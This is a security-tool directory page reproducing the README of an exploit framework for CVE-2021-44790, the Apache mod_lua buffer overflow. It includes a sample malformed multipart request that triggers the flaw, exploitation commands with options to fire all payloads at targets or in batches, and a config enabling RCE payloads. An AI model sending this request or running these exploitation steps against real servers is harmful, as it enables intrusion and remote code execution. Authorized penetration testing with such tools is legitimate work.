Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790 — Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790
Web Vulnerability ScannersExploit FrameworksExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

View Repository
114 days agoNot yet reviewed

Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.

Share

🔥 CVE-2021-44790 - Apache mod_lua Buffer Overflow Exploitation

Version Python License CVE Apache CVSS Author


📋 Overview

Apache mod_lua Buffer Overflow Exploitation is an advanced, enterprise-grade exploitation platform for CVE-2021-44790 - a critical buffer overflow vulnerability in the Apache HTTP Server 2.4.x mod_lua module. This framework provides comprehensive fingerprinting, intelligent script discovery, multi-stage scanning, and professional reporting capabilities with 95%+ confidence detection.

⚡ Key Features


🎯 Vulnerability Details

Technical Description

The vulnerability exists in the mod_lua module when processing multipart/form-data requests. An integer underflow in the lua_request_parsebody() function can lead to a heap-based buffer overflow, potentially allowing remote code execution.

root@kitploit:~
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

📸 Screenshots

Main InterfaceFingerprint Results

🚀 Quick Start

Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

Basic Usage

root@kitploit:~
# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

📋 Detailed Usage

Command Line Options

root@kitploit:~
python3 exploit.py [TARGET] [OPTIONS]

Examples

1. Basic Vulnerability Assessment

root@kitploit:~
python3 exploit.py https://example.com --verbose --report all

2. Corporate Environment Scan

root@kitploit:~
python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

3. Full Penetration Test

root@kitploit:~
python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

4. Batch Scanning

root@kitploit:~
python3 exploit.py --batch targets.txt --config config.yaml

5. Database Queries

root@kitploit:~
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

⚙️ Configuration

config.yaml

root@kitploit:~
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------

# Scan Settings
threads: 20                    # Concurrent threads
timeout: 10                    # Request timeout in seconds
retries: 3                     # Number of retry attempts
rate_limit: 10                 # Requests per second
max_depth: 3                   # Directory traversal depth
follow_redirects: true         # Follow HTTP redirects
verify_ssl: false              # Verify SSL certificates

# Network Settings
proxy: null                    # Proxy URL
http2: true                    # Enable HTTP/2 support
user_agent: random             # User-Agent (random/specific)
save_packets: false            # Save raw network packets

# Analysis Settings
research_mode: true            # Enable research database
verbose: false                 # Verbose output
scan_only: false               # Scan without exploitation
exploit: false                 # Enable exploitation
all_payloads: false            # Use all payloads

# Payload Settings
payloads:
  detection: true
  memory: true
  rce: true
  dos: false

# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports

# Database Settings
database_path: luastorm.db
database_retention: 365

# Directory Settings
logs_dir: logs
screenshots_dir: screenshots

📊 Reports

HTML Dashboard

  • Interactive charts and tables
  • Target fingerprint visualization
  • Script discovery summary
  • Payload execution timeline
  • Vulnerability assessment
  • Risk scoring

JSON Report

root@kitploit:~
{
  "scan_id": "a1b2c3d4",
  "target": {
    "url": "https://example.com",
    "hostname": "example.com",
    "port": 443
  },
  "vulnerable": true,
  "risk_level": "Critical",
  "scan_duration": 45.23,
  "timestamp": "2026-08-04T15:45:23"
}

Markdown Report

  • Human-readable documentation
  • Table-formatted data
  • Easy sharing and embedding
  • Version control friendly

🗄️ Database Schema

root@kitploit:~
-- Targets table
CREATE TABLE targets (
    id INTEGER PRIMARY KEY,
    scan_id TEXT UNIQUE,
    url TEXT,
    hostname TEXT,
    ip TEXT,
    port INTEGER,
    protocol TEXT,
    apache_version TEXT,
    lua_version TEXT,
    os TEXT,
    architecture TEXT,
    waf TEXT,
    cdn TEXT,
    vulnerable INTEGER,
    risk_level TEXT,
    scan_date TEXT,
    duration REAL
);

-- Scripts table
CREATE TABLE scripts (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    path TEXT,
    method TEXT,
    status_code INTEGER,
    content_type TEXT,
    response_time REAL,
    vulnerable INTEGER
);

-- Payloads table
CREATE TABLE payloads (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    script_id INTEGER,
    payload_name TEXT,
    payload_type TEXT,
    success INTEGER,
    response_time REAL,
    indicators TEXT,
    error TEXT
);

🔧 Plugin System

Creating a Plugin

root@kitploit:~
# plugins/my_plugin.py
class MyPlugin:
    plugin_name = "my_plugin"
    plugin_version = "1.0"
    plugin_author = "Your Name"
    
    def __init__(self, config):
        self.config = config
    
    def execute(self, target_info):
        """Execute plugin logic"""
        return {
            'status': 'success',
            'message': 'Plugin executed',
            'data': {'target': target_info.url}
        }

🛡️ Security Considerations

  • Authorized Use Only: This tool is for authorized security testing
  • Legal Compliance: Ensure you have permission before testing
  • Responsible Disclosure: Report vulnerabilities responsibly
  • Data Protection: All sensitive data is stored locally

⚠️ Disclaimer

root@kitploit:~
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.

By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes

📈 Performance Metrics


🗺️ Roadmap

Version 2.1 (Planned)

  • Additional CVE support
  • Web UI interface
  • Docker containerization
  • CI/CD pipeline
  • More payload variants

Version 2.2 (Future)

  • Machine learning integration
  • Automated exploitation
  • Cloud-based scanning
  • Team collaboration features
  • Advanced evasion techniques

🤝 Contributing

Contributions are welcome! Please follow these guidelines:

  1. Fork the repository
  2. Create a feature branch
  3. Make your changes
  4. Submit a pull request

Development Setup

root@kitploit:~
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
python -m pytest tests/

👨‍💻 Author

Sudeepa Wanigarathna

  • Security Researcher & Ethical Hacker
  • GitHub: @CerberusMrXi
  • Focus: Vulnerability Research & Exploit Development

📄 License

For Educational and Authorized Testing Purposes Only

This software is provided "as is", without warranty of any kind, express or implied.


⭐ Star this repository to support the project!

💡 Found a bug? Open an issue

📧 Contact: [email protected]


Built with ❤️ for the security community

Download Tool
FeatureDescription
🔍 Advanced FingerprintingApache version, mod_lua, OS, architecture, WAF, CDN, container, cloud provider detection
🎯 Intelligent Discovery7+ discovery techniques including robots.txt, sitemap, HTML parsing, JavaScript extraction
💥 Multi-Stage ScanningConnection → Fingerprint → Discovery → Verification → Exploitation → Reporting
🧩 Extensible Plugin SystemEasy plugin development for future CVEs
🌐 Smart HTTP EngineConnection pooling, retries, HTTP/2 support, rate limiting
📊 Comprehensive ReportingJSON, HTML, Markdown, PDF with interactive dashboards
🎨 Beautiful Terminal UIRich library with progress bars, tables, and color-coded output
💾 Research DatabaseSQLite storage with complete scan history and query support
📸 Screenshot CaptureAutomatic webpage screenshots for evidence collection
🚀 High Performance20+ concurrent threads, 100+ connection pools
AttributeValue
CVE IDCVE-2021-44790
VulnerabilityBuffer Overflow (Integer Underflow)
Affected SoftwareApache HTTP Server 2.4.0 through 2.4.51
Fixed VersionApache HTTP Server 2.4.52 and later
Componentmod_lua module
Attack VectorNetwork (Remote)
CVSS Score9.8 (Critical)
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactHigh
Exploit MaturityProof-of-Concept Available
Scan ProgressHTML Report Dashboard
OptionDescriptionExample
TARGETTarget URLhttp://target.com
--config FILEConfiguration file--config config.yaml
--threads NNumber of threads--threads 30
--timeout NRequest timeout (seconds)--timeout 15
--proxy URLProxy URL--proxy http://127.0.0.1:8080
--verboseVerbose output--verbose
--scan-onlyScan without exploitation--scan-only
--exploitEnable exploitation--exploit
--all-payloadsUse all payloads--all-payloads
--report FORMATReport format (json/html/markdown/all)--report all
--output DIROutput directory--output /path/to/reports/
--researchEnable research mode--research
--database FILEDatabase path--database luastorm.db
--screenshotTake screenshots--screenshot
--batch FILEBatch file with targets--batch targets.txt
--query SQLExecute database query--query "SELECT * FROM targets"
FeaturePerformance
Fingerprinting< 2 seconds
Script Discovery5-10 seconds
Payload Testing1-5 seconds per payload
Report Generation< 1 second
Database Operations< 100ms
Concurrent Threads20+
Connection Pool100+